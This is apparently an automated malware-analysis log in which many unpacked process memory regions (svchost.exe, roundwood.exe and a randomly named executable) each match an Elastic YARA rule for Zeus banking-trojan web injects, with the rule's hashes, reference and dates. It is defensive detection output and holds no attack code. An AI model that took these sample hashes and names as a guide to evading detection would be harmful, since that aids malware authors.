Source: 2.2.svchost.exe.28c2000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 27.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.29f2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.21.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.36.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.12.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 25.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.8e2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.39.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.31.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2dc0000.43.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2dc0000.44.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2dc0000.44.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 31.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.25d0000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3c20000.9.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.22.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.36.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2970000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.17.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 8.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.e70000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.20.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.14.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 29.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2922000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 29.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2d00000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.roundwood.exe.6ba318.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.17.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.27.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.25.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.roundwood.exe.407000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.28c2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.roundwood.exe.407000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 5.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.dd2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.13.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2d00000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.28c2000.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2970000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3c20000.9.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.3a40000.24.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 34.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2950000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.2c90000.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.roundwood.exe.6ba318.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 5.2.oOzTQCDSVNrWDmuGqzFbKRbZs.exe.e30000.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
